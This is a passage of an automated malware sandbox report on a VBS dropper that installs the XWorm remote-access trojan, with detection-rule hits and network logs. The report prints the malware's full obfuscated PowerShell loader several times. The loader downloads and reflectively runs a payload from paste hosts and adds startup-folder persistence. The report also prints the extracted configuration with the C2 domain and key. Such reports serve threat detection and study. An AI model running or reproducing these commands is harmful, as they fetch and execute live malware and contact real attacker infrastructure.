Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6400, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\___win________________________________________-------.lnk

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs", ProcessId: 5604, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??Tg

Suricata Signatures

ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T06:53:14.599789+0200	2020424	1	Exploit Kit Activity Detected	188.114.96.3	443	192.168.2.5	49711	TCP
2024-10-03T06:53:35.248038+0200	2020424	1	Exploit Kit Activity Detected	188.114.96.3	443	192.168.2.5	49728	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T06:53:10.743341+0200	2803305	3	Unknown Traffic	192.168.2.5	49708	104.20.4.235	443	TCP
2024-10-03T06:53:13.592811+0200	2803305	3	Unknown Traffic	192.168.2.5	49710	104.20.4.235	443	TCP
2024-10-03T06:53:31.500323+0200	2803305	3	Unknown Traffic	192.168.2.5	49725	104.20.4.235	443	TCP
2024-10-03T06:53:34.227323+0200	2803305	3	Unknown Traffic	192.168.2.5	49727	104.20.4.235	443	TCP

ETPRO MALWARE Terse Request to paste .ee - Possible Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T06:53:14.450466+0200	2841075	1	Malware Command and Control Activity Detected	192.168.2.5	49711	188.114.96.3	443	TCP
2024-10-03T06:53:35.100353+0200	2841075	1	Malware Command and Control Activity Detected	192.168.2.5	49728	188.114.96.3	443	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T06:53:27.229468+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:53:32.934662+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:53:38.696524+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:53:50.480098+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:01.564440+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:02.852872+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:13.168649+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:18.695335+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:30.008241+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:31.785152+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:32.851069+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:34.704124+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:34.979628+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:42.056654+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:50.292339+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:57.753720+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:00.347039+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:01.063226+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:01.393882+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:01.708783+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:02.020012+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:02.862710+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:06.543005+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:15.805767+0200	2852870	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T06:53:27.281241+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:53:38.698900+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:53:50.520812+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:01.589317+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:13.171376+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:18.699279+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:30.011608+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:31.787240+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:34.705701+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:34.982207+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:42.058423+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:50.295484+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:57.765253+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:00.348865+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:01.065080+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:01.395979+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:01.710572+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:02.042058+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:06.545750+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:15.806620+0200	2852923	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T06:53:32.934662+0200	2852874	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:02.852872+0200	2852874	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:32.851069+0200	2852874	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:02.862710+0200	2852874	1	Malware Command and Control Activity Detected	46.246.14.3	7000	192.168.2.5	49712	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T06:53:26.855375+0200	2855924	1	Malware Command and Control Activity Detected	192.168.2.5	49712	46.246.14.3	7000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: sostener.vbs

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\sostener.vbs

Avira: detection malicious, Label: VBS/Dldr.Agent.VPWC

Found malware configuration

Source: 00000004.00000002.2176643102.00000287005E6000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["toskaadmx.duckdns.org"], "Port": "7000", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for submitted file

Source: sostener.vbs

ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack	String decryptor: toskaadmx.duckdns.org
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack	String decryptor: 7000
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack	String decryptor: <123456789>
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack	String decryptor: <Xwormmm>
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack	String decryptor: XWorm V5.6
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack	String decryptor: USB.exe

Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.216.144.11:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.5.25.83:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49728 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, 00000C00h		4_2_00007FF848E5794D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, 00000C00h		14_2_00007FF848E8794D

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.5:49712 -> 46.246.14.3:7000
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 46.246.14.3:7000 -> 192.168.2.5:49712
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.5:49712 -> 46.246.14.3:7000
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 46.246.14.3:7000 -> 192.168.2.5:49712
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.5:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.5:49728 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 188.114.96.3:443 -> 192.168.2.5:49711
Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 188.114.96.3:443 -> 192.168.2.5:49728

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: toskaadmx.duckdns.org

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: paste.ee

Uses dynamic DNS services

Source: unknown

DNS query: name: toskaadmx.duckdns.org

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.powershell.exe.2877ca20000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.272d6819978.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.28700478df0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.272d7b8ec50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.287017daf68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2275849504.000002877CA20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.2.5:49712 -> 46.246.14.3:7000

Source: global traffic	HTTP traffic detected: GET /raw/V9y5Q5vv HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txt HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
